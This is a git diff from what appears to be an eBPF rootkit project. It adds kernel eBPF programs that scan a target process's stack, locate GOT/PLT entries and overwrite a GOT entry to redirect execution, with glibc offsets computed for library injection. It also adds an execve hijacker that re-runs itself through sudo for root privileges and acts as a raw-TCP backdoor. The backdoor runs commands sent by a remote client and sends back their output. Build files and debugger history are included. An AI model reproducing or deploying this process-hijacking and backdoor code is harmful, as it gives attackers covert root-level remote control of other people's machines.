#define OPCODE_PLT_RERLO_BYTE_0 0xf3
#define OPCODE_PLT_RERLO_BYTE_1 0x0f
#define GLIBC_OFFSET_MAIN_TO_SYSCALL 0xf00d0
#define GLIBC_OFFSET_MAIN_TO_DLOPEN 0x12f120
#define GLIBC_OFFSET_MAIN_TO_MALLOC 0x6eca0
struct sys_timerfd_settime_enter_ctx {
unsigned long long unused; //Pointer to pt_regs
int __syscall_nr;
unsigned int padding; //Alignment
int ufd;
int flags;
const struct __kernel_itimerspec *utmr;
struct __kernel_itimerspec *otmr;
};
struct sys_timerfd_settime_exit_ctx {
unsigned long long unused; //Pointer to pt_regs
int __syscall_nr;
unsigned int padding; //Alignment
long ret;
};
/**
* @brief Checks whether the format of the syscall is the expected one
*
* @param opcodes
* @param size
* @return 0 if correct, 1 otherwise
*/
static __always_inline int check_syscall_opcodes(__u8* opcodes){
return 0 == (/*opcodes[0]==0xf3 //FOR GDB WORKING TODO REMOVE
&&*/ opcodes[1]==0x0f
&& opcodes[2]==0x1e
&& opcodes[3]==0xfa
&& opcodes[4]==0x49
&& opcodes[5]==0x89
&& opcodes[6]==0xca
&& opcodes[7]==0xb8
&& opcodes[8]==0x1e
&& opcodes[9]==0x01
&& opcodes[10]==0x00
&& opcodes[11]==0x00
&& opcodes[12]==0x0f
&& opcodes[13]==0x05);
}
static __always_inline int stack_extract_return_address_plt(__u64 stack_rip){
//We have a possible RIP from the stack, to which we can take the previous instruction,
//and check if its opcodes correspond with the expected format
__u64 *entry_call_addr = (__u64*)(stack_rip - 0x5);
__u8 entry_call_opcode_arr[10];
if(bpf_probe_read(&entry_call_opcode_arr, 10*sizeof(__u8), entry_call_addr)<0){
//bpf_printk("Failed to read stack position\n");
return -1;
}
//bpf_printk(" -- Checking: %lx, res: %x %x", entry_call_addr, entry_call_opcode_arr[0], entry_call_opcode_arr[1]);
//bpf_printk("%x %x %x\n", entry_call_opcode_arr[2], entry_call_opcode_arr[3], entry_call_opcode_arr[4]);
if (entry_call_opcode_arr[0] != OPCODE_JUMP_BYTE_0) {
//bpf_printk(" -- Failed OPCODE: %x\n", entry_call_opcode_arr[0]);
return -1;
}
bpf_printk("Successful entry call address: %lx\n", entry_call_addr);
//We have localized a call instruction which might be the one we are looking for.
//We proceed to get the offset of the call.
__s32 offset = 0;
__u8* entry_call_addr_8 = (__u8*)(stack_rip - 0x5);
if(bpf_probe_read_user(&offset, sizeof(__s32), &entry_call_addr_8[1])<0){ //This takes the 4 MSB omitting the first
bpf_printk("Failed to read entry_call_addr[1]\n");
return -1;
}
//bpf_printk("OP64[1]: %x\n", &entry_call_addr[1]);
//bpf_printk("OP8[1]: %x\n", &entry_call_addr_8[1]);
//We now extract to which memory position it jumps via its offset+current position+5 bytes of the
//current call instruction.
bpf_printk("OFFSET: %x\n", offset);
bpf_printk("OP: %lx\n", entry_call_addr);
__u64 sum = (uintptr_t)((__u64)(entry_call_addr_8)+offset+5);
bpf_printk("SUM: %lx\n", sum);
__u64* plt_addr = (__u64*)sum;
//Using the bytes written in the PLT.GOT section, the PLT jumps to libc, where
//the syscall will be called. We can extract the opcodes of this routine and
//see if we recognize the syscall as the one we wanted.
__u8 libc_opcodes[10];
bpf_probe_read_user(&libc_opcodes, 10*sizeof(__u8), plt_addr);
bpf_printk("OPCODE0: %x\n", libc_opcodes[0]);
bpf_printk("OPCODE1: %x\n", libc_opcodes[1]);
bpf_printk("OPCODE5: %x\n", libc_opcodes[5]);
bpf_printk("OPCODE6: %x\n", libc_opcodes[6]);
int plt_found = 0;
int relro_active = 0;
//Check documentation for details on jump recognition.
if(libc_opcodes[0]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_JMP_BYTE_1){
//If the ELF binary has been compiled without RELRO, the first bytes are expected.
plt_found = 1;
}else if(libc_opcodes[0]==OPCODE_PLT_RERLO_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_RERLO_BYTE_1 && libc_opcodes[5]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[6]==OPCODE_PLT_JMP_BYTE_1){
//If the ELF was compiled with RELRO protection.
plt_found = 1;
relro_active = 1;
}
__u8* plt_addr_arr = (__u8*)plt_addr;
if(plt_found == 1){
bpf_printk("Found PLT entry\n");
__s32 got_offset;
__u64* got_addr;
if(relro_active == 0){
//We analyze the offset of the jump specified ff 25 XX XX XX XX
//The address to which the jump takes us from the PLT.GOT should be the actual syscall setup
bpf_probe_read_user(&got_offset, sizeof(__s32), &plt_addr_arr[2]); //4 LSB
//We obtain the address of the jump by adding the offset + our current memory address + 6 bytes of the current instruction
got_addr = (u64*)((__u64)(plt_addr_arr) + got_offset + 0x6);
bpf_printk("GOT_OFFSET: %lx\n", got_offset);
bpf_printk("GOT_ADDR: %lx\n", got_addr);
}else {
bpf_printk("RELRO detected\n");
//Proceed to take into account the endbr64 instruction
plt_addr_arr = (__u8*)plt_addr+0x4;
//We analyze the offset of the jump specified f2 ff 25 XX XX XX XX
//The address to which the jump takes us from the PLT.GOT should be the actual syscall setup
bpf_probe_read_user(&got_offset, sizeof(__s32), &plt_addr_arr[3]); //4 LSB + 7 bytes of the current instruction
got_addr = (u64*)((__u64)(plt_addr_arr) + got_offset +0x7);
bpf_printk("GOT_OFFSET: %lx\n", got_offset);
bpf_printk("GOT_ADDR: %lx\n", got_addr);
}
//The actual starting address at which the GOT section points in libc is contained in the previous pointer
__u64 got_libc_addr;
if(got_addr==NULL){
return -1;
}
bpf_probe_read_user(&got_libc_addr, sizeof(__u64), got_addr);
bpf_printk("GOT_ADDR_LIBC: %lx\n",got_libc_addr);
__u64 buf = CODE_CAVE_ADDRESS_STATIC;
//bpf_printk("Now writing to GOT_ADDR_LIBC %lx\n", got_libc_addr);
if(bpf_probe_write_user(got_addr, &buf, sizeof(__u64))<0){
//Should not work if RELRO active
bpf_printk("FAILED TO WRITE JUMP\n");
}else{
__u64 got_addr_new;
bpf_probe_read_user(&got_addr_new, sizeof(__u64), got_addr);
bpf_printk("Success, new GOT is %lx", got_addr_new);
}
//Now that we have the address placed in the GOT section we can finally go to the function in glibc
//where the syscall resides. We read the opcodes and check that they are the ones expected
__u8 s_opcode[14];
bpf_probe_read_user(s_opcode, 14*sizeof(__u8), (void*)got_libc_addr);
for(int ii=0; ii<14; ii++){
//bpf_printk("S_OPC %i: %x\n",ii,s_opcode[ii]);
}
if(check_syscall_opcodes(s_opcode)!=0){
bpf_printk("Not the expected syscall\n");
return -1;
}
//We got the expected syscall call in libc. Its format depends on glibc.
//We put it in an internal map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
return -1;
}
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (inj_ret_addr != NULL ){
//It means we have already performed this whole operation
return -1;
}
bpf_printk("Final found libc syscall address: %lx\n", got_libc_addr);
struct inj_ret_address_data addr;
addr.libc_syscall_address = (__u64)got_libc_addr;
addr.stack_ret_address = 0;
addr.relro_active = relro_active;
addr.got_offset = got_offset;
addr.padding = 0;
bpf_probe_read(&addr.got_address, sizeof(__u64), &got_addr);
bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
return 0;
}
return 0;
}
SEC("tp/syscalls/sys_enter_timerfd_settime")
int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
__u64 *scanner = (__u64*)ctx->otmr;
int fd = ctx->ufd;
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(err<0){
return -1;
}
char *task = TASK_COMM_NAME_ROP_TARGET;
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
return 0;
}
bpf_printk("TASK: %s\n", comm);
long timesecs;
//bpf_probe_read_user(&timesecs, sizeof(long), &(new->it_interval.tv_sec));
//bpf_printk("AG %ld\n",timesecs);
__u64 address = 0;
bpf_printk("Timer %i to scan at address %lx\n", fd, scanner);
#pragma unroll
for(__u64 ii=0; ii<200; ii++){
//We got a foothold in the stack via the syscall argument, now we scan to lower memory
//positions assuming those are the saced RIP. We will then perform checks in order to see
//if it truly is the saved RIP (checking that there is a path to the actual syscall).
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii);
//bpf_printk("stack: %lx\n", address);
if(stack_extract_return_address_plt(address)==0){
//We found the return address
__u64 found_return_address = *scanner - ii;
//We put it in an internal map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
return -1;
}
struct inj_ret_address_data *addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (addr == NULL){
//It means we failed to insert into the map before
return -1;
}
//struct inj_ret_address_data addr = *inj_ret_addr;
//struct inj_ret_address_data addr;
//bpf_probe_read(&addr, sizeof(struct inj_ret_address_data), inj_ret_addr);
addr->stack_ret_address = (__u64)scanner - ii;
if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, addr, BPF_EXIST)<0){
bpf_printk("Failed to insert the return address in bpf map\n");
return -1;
}
bpf_printk("Final found return address: %lx\n", addr->stack_ret_address);
bpf_printk("GOT address: %lx\n", addr->got_address);
//Tell userspace to perform operations on localized addresses
int pid = bpf_get_current_pid_tgid() >> 32;
ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address,
addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC,
addr->got_address, addr->libc_syscall_address, addr->relro_active);
return 0;
}
}
bpf_printk("Finished without findings\n");
return 0;
}
SEC("tp/syscalls/sys_exit_timerfd_settime")
int sys_exit_timerfd_settime(struct sys_timerfd_settime_exit_ctx *ctx){
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(err<0){
return -1;
}
char *task = TASK_COMM_NAME_ROP_TARGET;
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
return 0;
}
//If we are here we may have the return address stored in the map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 pid = pid_tgid >> 32;
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (inj_ret_addr == NULL){
//We failed to identify the return address in the previous probe.
return -1;
}
struct inj_ret_address_data addr = *inj_ret_addr;
bpf_printk("PID: %u, SYSCALL_ADDR: %lx, STACK_RET_ADDR: %lx", pid, addr.libc_syscall_address, addr.stack_ret_address);
bpf_printk("Address of libc main: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL);
bpf_printk("Address of libc_dlopen_mode: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN);
bpf_printk("Address of malloc: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC);
return 0;
}
//NOT CURRENTLY CONNECTED
SEC("uprobe/execute_command")
int uprobe_execute_command(struct pt_regs *ctx){
bpf_printk("UPROBE activated\n");
bpf_printk("Ret is %lx", ctx->ip);
char* buf = "A\0";
long ret;
if((ret = bpf_probe_write_user((void*)ctx->ip, buf,1))>=0){
bpf_printk("Success writting? Should not have happened\n");
return -1;
}
bpf_printk("ERROR writing: %li\n", ret); //EFAULT
char dest_buf[2];
if(ctx->ip-5 <=0){
return -1;
}
if((ret = bpf_probe_read_user(dest_buf, 2, (void*)ctx->ip-5))<0){
bpf_printk("Error reading instruction\n");
return -1;
}
//bpf_printk("Stack: %x\n", dest_buf);
return 0;
}
#endif

View File

@@ -1,20 +0,0 @@
#ifndef __BPF_MAP_DEFS_H
#define __BPF_MAP_DEFS_H
#include "headervmlinux.h"
//File system
struct fs_open_data{
char* buf;
int fd;
__u32 pid;
};
struct fs_open{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1024*sizeof(struct fs_open_data));
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct fs_open_data);
} fs_open SEC(".maps");
#endif

39
src/ebpf/include/bpf/tc.c Normal file
View File

@@ -0,0 +1,39 @@
#include <linux/bpf.h>
#include <linux/if_ether.h>
#include <linux/pkt_cls.h>
#include <linux/swab.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_helpers.h>
struct pkt_ctx_t {
struct cursor *c;
struct ethhdr *eth;
struct iphdr *ipv4;
struct tcphdr *tcp;
struct udphdr *udp;
struct http_req_t *http_req;
};
SEC("classifier/egress")
int classifier(struct __sk_buff *skb){
void *data_end = (void *)(unsigned long long)skb->data_end;
void *data = (void *)(unsigned long long)skb->data;
struct ethhdr *eth = data;
bpf_printk("Heey\n");
if (data + sizeof(struct ethhdr) > data_end)
return TC_ACT_SHOT;
if (eth->h_proto == ___constant_swab16(ETH_P_IP))
/*
* Packet processing is not implemented in this sample. Parse
* IPv4 header, possibly push/pop encapsulation headers, update
* header fields, drop or transmit based on network policy,
* collect statistics and store them in a eBPF map...
*/
return 0;//process_packet(skb);
else
return TC_ACT_OK;
}
char _license[4] SEC("license") = "GPL";

View File

@@ -41,6 +41,32 @@ static __always_inline int ring_buffer_send(struct ring_buffer *rb, int pid, eve
bpf_ringbuf_submit(event, 0);
return 0;
}
/**
* @brief Sends an event indicating a vulnerable syscall injection into the specified ring kernel buffer
*
* @return 0 if ok, -1 if error
*/
static __always_inline int ring_buffer_send_vuln_sys(struct ring_buffer *rb, int pid, __u64 syscall_address, __u64 process_stack_return_address, u64 libc_main_address, u64 libc_dlopen_mode_address, __u64 libc_malloc_address, __u64 got_address, __s32 got_offset, int relro_active){
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
if(!event){
return -1;
}
event->event_type = VULN_SYSCALL;
event->pid = pid;
event->libc_dlopen_mode_address = libc_dlopen_mode_address;
event->libc_main_address = libc_main_address;
event->libc_malloc_address = libc_malloc_address;
event->process_stack_return_address = process_stack_return_address;
event->syscall_address = syscall_address;
event->got_address = got_address;
event->relro_active = relro_active;
event->got_offset = got_offset;
bpf_ringbuf_submit(event, 0);
return 0;
}

View File

@@ -32,36 +32,7 @@ static __always_inline int str_n_compare(char* str1, int str1len, char* str2, in
return 0;
}
/**
* Implementation of strncpy from the Linux Kernel.
* strncpy - Copy a length-limited, C-string
* @dest: Where to copy the string to
* @src: Where to copy the string from
* @count: The maximum number of bytes to copy
*
* The result is not %NUL-terminated if the source exceeds
* @count bytes.
*
* In the case where the length of @src is less than that of
* count, the remainder of @dest will be padded with %NUL.
*
*/
static __always_inline char* str_n_copy(char *dest, const char *src, int count){
char *tmp = dest;
while (count) {
if ((*tmp = *src) != 0)
src++;
tmp++;
count--;
}
return dest;
}
/**
* @brief Checks if string is a
*
*/

View File

@@ -36,6 +36,8 @@
//BPF modules to load
#include "include/bpf/sched.h"
#include "include/bpf/fs.h"
#include "include/bpf/exec.h"
#include "include/bpf/injection.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
#define ETH_ALEN 6

256
src/helpers/.gdb_history Normal file
View File

@@ -0,0 +1,256 @@
q
disass main
b *(main+446)
r
ssi
si
ni
1
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
si
ni
si
q
b *(main+446)
r
si
ni
si
si
si
fin
q
b *(main+446)
r
si
ni
si
ni
q
b *(main+446)
r
si
si
ni
si
ni
si
si
s
q
b *(main+446)
r
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
si
q
r
q
b *(main+446)
r
si
ni
si
ni
si
si
si
si
display $fs
display $fs:0x28
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
si
ni
si
ni
si
q
b *(main+446)
r
si
q
b *(main+446)
r
si
ni
si
si
ni
q
r
q
b *(main+446)
r
si
c
q
r
r
q
b *(main+446)
r
si
ni
si
ni
si
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
q
b *(main+446)
r
si
ni
si
ni
si
q
b *(main+446)
r
si
ni
si
q
b *(main+446)
r
si
q
checksec
q
checksec
q
checksec
q
checksec
q
disass main
b *(main+446)
r
si
ni
si
ni
si
q
b *(main+446)
r
x/20i 0x7ffff7ede560
x/100i 0x7ffff7ede560
x/1000i 0x7ffff7ede560
q
b *(main+446)
r
si
disass /r 0x555555555130
x/20b 0x555555557fd0
q
b timerfd_settime@plt
r
si
q
disass /r 0x555555555130
b timerfd_settime
r
q
b timerfd_settime@plt
r
disass /r 0x555555555130
q
b *(main+446)
r
si
ni
si
ni
si
x/20b 0x5555555556fb
disass /r 0x555555555134
x/20b 0x5555555556fb
q
b *(main+446)
r
si
fin
si
fin
si
fin
q
b *(main+446)
r
si
ni
x/20b 0x5555555556fb
q
b *(main+446)
r
si
ni
x/20b 0x5555555556fb
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
si
ni
si
q

29
src/helpers/Makefile Normal file
View File

@@ -0,0 +1,29 @@
CC = gcc
HEADERS = lib/RawTCP.h
EXTRA_CFLAGS= -I$(PWD)/lib
default:
make execve_hijack injection_lib simple_timer
injection_lib: injection_lib.o
gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
simple_timer.o: simple_timer.c $(HEADERS)
gcc -g -c simple_timer.c
simple_timer: simple_timer.o
gcc -g -o simple_timer simple_timer.o
execve_hijack.o: execve_hijack.c $(HEADERS)
gcc -g -c execve_hijack.c
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
gcc -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
clean:
-rm -f execve_hijack.o
-rm -f execve_hijack
-rm -f injection_lib.o
-rm -f injection_lib.so
-rm -f simple_timer.o
-rm -f simple_timer

BIN
src/helpers/execve_hijack Executable file

Binary file not shown.

File diff suppressed because it is too large Load Diff

215
src/helpers/execve_hijack.c Normal file
View File

@@ -0,0 +1,215 @@
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <sys/wait.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <dlfcn.h>
#include <sys/timerfd.h>
#include "lib/RawTCP.h"
#include "../common/c&c.h"
int test_time_values_injection(){
struct itimerspec new_value, new_value2;
int max_exp, fd, fd2;
struct timespec now;
uint64_t exp, tot_exp;
ssize_t s;
fd = timerfd_create(CLOCK_REALTIME, 0);
if (fd == -1)
return -1;
new_value.it_interval.tv_sec = 30;
new_value.it_interval.tv_nsec = 0;
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
return -1;
fd2 = timerfd_create(CLOCK_REALTIME, 0);
if (fd2 == -1)
return -1;
new_value2.it_interval.tv_sec = 30;
new_value2.it_interval.tv_nsec = 0;
if (timerfd_settime(fd2, TFD_TIMER_ABSTIME, &new_value2, NULL) == -1)
return -1;
printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
return 0;
}
char* execute_command(char* command){
FILE *fp;
char* res = calloc(4096, sizeof(char));
char buf[1024];
fp = popen(command, "r");
if(fp == NULL) {
printf("Failed to run command\n" );
return "COMMAND ERROR";
}
while(fgets(buf, sizeof(buf), fp) != NULL) {
strcat(res, buf);
}
printf("RESULT OF COMMAND: %s\n", res);
pclose(fp);
return res;
}
char* getLocalIpAddress(){
char hostbuffer[256];
char* IPbuffer = calloc(256, sizeof(char));
struct hostent *host_entry;
int hostname;
hostname = gethostname(hostbuffer, sizeof(hostbuffer));
if(hostname==-1){
exit(1);
}
host_entry = gethostbyname(hostbuffer);
if(host_entry == NULL){
exit(1);
}
// To convert an Internet network
// address into ASCII string
strcpy(IPbuffer,inet_ntoa(*((struct in_addr*) host_entry->h_addr_list[0])));
return IPbuffer;
}
int main(int argc, char* argv[], char *envp[]){
printf("Hello world from execve hijacker\n");
for(int ii=0; ii<argc; ii++){
printf("Argument %i is %s\n", ii, argv[ii]);
}
test_time_values_injection();
time_t rawtime;
struct tm * timeinfo;
time ( &rawtime );
timeinfo = localtime ( &rawtime );
char* timestr = asctime(timeinfo);
if(geteuid() != 0){
//We do not have privileges, but we do want them. Let's rerun the program now.
char* args[argc+1];
args[0] = argv[0];
for(int ii=0; ii<argc; ii++){
args[ii+1] = argv[ii];
}
if(execve("/usr/bin/sudo", args, envp)<0){
perror("Failed to execve()");
exit(-1);
}
}
//We proceed to fork() and exec the original program, whilst also executing the one we
//ordered to execute via the network backdoor
//int bpf_map_fd = bpf_map_get_fd_by_id()
int fd = open("/tmp/rootlog", O_RDWR | O_CREAT | O_TRUNC, 0666);
if(fd<0){
perror("Failed to open log file");
//return -1;
}
int ii = 0;
while(*(timestr+ii)!='\0'){
write(fd, timestr+ii, 1);
ii++;
}
write(fd, "\t", 1);
ii = 0;
while(*(argv[0]+ii)!='\0'){
write(fd, argv[0]+ii, 1);
ii++;
}
write(fd, "\n", 1);
write(fd, "Sniffing...\n", 13);
packet_t packet = rawsocket_sniff_pattern(CC_PROT_SYN);
if(packet.ipheader == NULL){
write(fd, "Failed to open rawsocket\n", 1);
return -1;
}
write(fd, "Sniffed\n", 9);
//TODO GET THE IP FROM THE BACKDOOR CLIENT
char* local_ip = getLocalIpAddress();
char remote_ip[16];
inet_ntop(AF_INET, &(packet.ipheader->saddr), remote_ip, 16);
printf("IP: %s\n", local_ip);
packet_t packet_ack = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, CC_PROT_ACK);
if(rawsocket_send(packet_ack)<0){
write(fd, "Failed to open rawsocket\n", 1);
close(fd);
return -1;
}
//Start of pseudo connection with the rootkit client
int connection_close = 0;
while(!connection_close){
packet_t packet = rawsocket_sniff_pattern(CC_PROT_MSG);
printf("Received client message\n");
char* payload = packet.payload;
char *p;
p = strtok(payload, "#");
p = strtok(NULL, "#");
if(p){
if(strcmp(p, CC_PROT_FIN_PART)==0){
printf("Connection closed by request\n");
connection_close = 1;
}else{
printf("Received request: %s\n", p);
char* res = execute_command(p);
char* payload_buf = calloc(4096, sizeof(char));
strcpy(payload_buf, CC_PROT_MSG);
strcat(payload_buf, res);
packet_t packet_res = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, payload_buf);
if(rawsocket_send(packet_res)<0){
write(fd, "Failed to open rawsocket\n", 1);
close(fd);
return -1;
}
free(payload_buf);
free(res);
}
}
}
close(fd);
return 0;
}

BIN
src/helpers/execve_hijack.o Normal file

Binary file not shown.

View File

@@ -0,0 +1,10 @@
#include <stdio.h>
#include <stdlib.h>
#include <syslog.h>
__attribute__((constructor))
static void init()
{
printf("Library successfully injected!\n");
syslog(LOG_CRIT, "Library called\n");
}

BIN
src/helpers/injection_lib.o Normal file

Binary file not shown.

BIN
src/helpers/injection_lib.so Executable file

Binary file not shown.

36
src/helpers/lib/RawTCP.h Normal file
View File

@@ -0,0 +1,36 @@
#ifndef HEADER_RAWTCP_LIB
#define HEADER_RAWTCP_LIB
#include <stdlib.h>
//Packet_t structure
typedef struct packet_t{
struct iphdr *ipheader;
struct tcphdr *tcpheader;
char *payload;
int payload_length;
char* packet;
}packet_t;
//PacketForger headers
packet_t build_standard_packet(
u_int16_t source_port,
u_int16_t destination_port,
const char* source_ip_address,
const char* destination_ip_address,
u_int32_t packet_length,
char* payload
);
int packet_destroy(packet_t packet);
int set_TCP_flags(packet_t packet, int hex_flags);
//SocketManager headers
int rawsocket_send(packet_t packet);
packet_t rawsocket_sniff();
packet_t rawsocket_sniff_pattern(char* payload_pattern);
#endif

Binary file not shown.

View File

@@ -0,0 +1,15 @@
#!/usr/bin/env python3
import sys
from itertools import chain
while True:
arg = input()[::-1]
group = 2
result = "".join(chain.from_iterable([reversed(elem) for elem in zip(*[iter(arg)]*group)]))
if(len(result) != len(arg)):
print("String not with even characters?")
#exit(1)
print(result)

View File

@@ -0,0 +1,2 @@
break *(test_time_values_injection+94)

View File

@@ -0,0 +1,2 @@
break *(main+446)

View File

@@ -0,0 +1,15 @@
break test_time_values_injection
disable $bpnum
break *(test_time_values_injection+94)
disable $bpnum
break *(test_time_values_injection+177)
disable $bpnum

BIN
src/helpers/simple_timer Executable file

Binary file not shown.

110
src/helpers/simple_timer.c Normal file
View File

@@ -0,0 +1,110 @@
/**
* Modified version of Linux man page timer using timerfd.
* Counts to 3, 1 second at a time, then sets another time up to 3, one second at a time.
*/
#include <sys/timerfd.h>
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
void print_elapsed_time() {
static struct timespec start;
struct timespec curr;
static int first_call = 1;
int secs, nsecs;
if (first_call) {
first_call = 0;
if (clock_gettime(CLOCK_MONOTONIC, &start) == -1){
perror("clock_gettime");
return;
}
}
if (clock_gettime(CLOCK_MONOTONIC, &curr) == -1){
perror("clock_gettime");
return;
}
secs = curr.tv_sec - start.tv_sec;
nsecs = curr.tv_nsec - start.tv_nsec;
if (nsecs < 0) {
secs--;
nsecs += 1000000000;
}
printf("Timer called at: %d.%03d: ", secs, (nsecs + 500000) / 1000000);
}
int main(int argc, char *argv[]) {
struct itimerspec new_value;
int max_exp, fd;
struct timespec now;
uint64_t exp;
ssize_t s;
if (clock_gettime(CLOCK_REALTIME, &now) == -1){
perror("clock_gettime");
return -1;
}
new_value.it_value.tv_sec = now.tv_sec +1;
new_value.it_value.tv_nsec = now.tv_nsec;
new_value.it_interval.tv_sec = 1;
new_value.it_interval.tv_nsec = 0;
max_exp = 3;
fd = timerfd_create(CLOCK_REALTIME, 0);
if (fd == -1){
perror("timerfd_create");
return -1;
}
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1){
perror("timerfd_settime");
return -1;
}
printf("Timer started\n");
for (uint64_t tot_exp = 0; tot_exp < max_exp;) {
s = read(fd, &exp, sizeof(uint64_t));
if (s != sizeof(uint64_t))
perror("Error reading from timer");
tot_exp += exp;
print_elapsed_time();
printf("time between: %llu; total elapsed time=%llu\n", (unsigned long long) exp, (unsigned long long) tot_exp);
}
if (clock_gettime(CLOCK_REALTIME, &now) == -1){
perror("clock_gettime");
return -1;
}
new_value.it_value.tv_sec = now.tv_sec +1;
new_value.it_value.tv_nsec = now.tv_nsec;
new_value.it_interval.tv_sec = 1;
new_value.it_interval.tv_nsec = 0;
max_exp = 3;
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1){
perror("timerfd_settime");
return -1;
}
for (uint64_t tot_exp = 0; tot_exp < max_exp;) {
s = read(fd, &exp, sizeof(uint64_t));
if (s != sizeof(uint64_t))
perror("Error reading from timer");
tot_exp += exp;
print_elapsed_time();
printf("time between: %llu; total elapsed time=%llu\n", (unsigned long long) exp, (unsigned long long) tot_exp);
}
return 0;
}

BIN
src/helpers/simple_timer.o Normal file

Binary file not shown.

BIN
src/tc.o Normal file

Binary file not shown.

View File

@@ -0,0 +1,34 @@
#ifndef __MOD_EXEC_H
#define __MOD_EXEC_H
#include <linux/bpf.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include "common.h"
#include "kit.skel.h"
//Connections
int attach_tp_sys_enter_execve(struct kit_bpf *skel){
skel->links.tp_sys_enter_execve = bpf_program__attach(skel->progs.tp_sys_enter_execve);
return libbpf_get_error(skel->links.tp_sys_enter_execve);
}
int attach_exec_all(struct kit_bpf *skel){
return attach_tp_sys_enter_execve(skel);
}
int detach_tp_sys_enter_execve(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.tp_sys_enter_execve);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_exec_all(struct kit_bpf *skel){
return detach_tp_sys_enter_execve(skel);
}
#endif

View File

@@ -8,30 +8,44 @@
#include "kit.skel.h"
//Connections
int attach_kprobe_ksys_read(struct kit_bpf *skel){
skel->links.kprobe_ksys_read = bpf_program__attach(skel->progs.kprobe_ksys_read);
return libbpf_get_error(skel->links.kprobe_ksys_read);
int attach_tp_sys_enter_read(struct kit_bpf *skel){
skel->links.tp_sys_enter_read = bpf_program__attach(skel->progs.tp_sys_enter_read);
return libbpf_get_error(skel->links.tp_sys_enter_read);
}
int attach_kretprobe_vfs_read(struct kit_bpf *skel){
skel->links.kretprobe_vfs_read = bpf_program__attach(skel->progs.kretprobe_vfs_read);
return libbpf_get_error(skel->links.kretprobe_vfs_read);
int attach_tp_sys_exit_read(struct kit_bpf *skel){
skel->links.tp_sys_exit_read = bpf_program__attach(skel->progs.tp_sys_exit_read);
return libbpf_get_error(skel->links.tp_sys_exit_read);
}
int attach_tp_sys_enter_openat(struct kit_bpf *skel){
skel->links.tp_sys_enter_openat = bpf_program__attach(skel->progs.tp_sys_enter_openat);
return libbpf_get_error(skel->links.tp_sys_enter_openat);
}
int attach_fs_all(struct kit_bpf *skel){
return attach_kprobe_ksys_read(skel) || attach_kretprobe_vfs_read(skel);
return attach_tp_sys_enter_read(skel) ||
attach_tp_sys_exit_read(skel) ||
attach_tp_sys_enter_openat(skel);
}
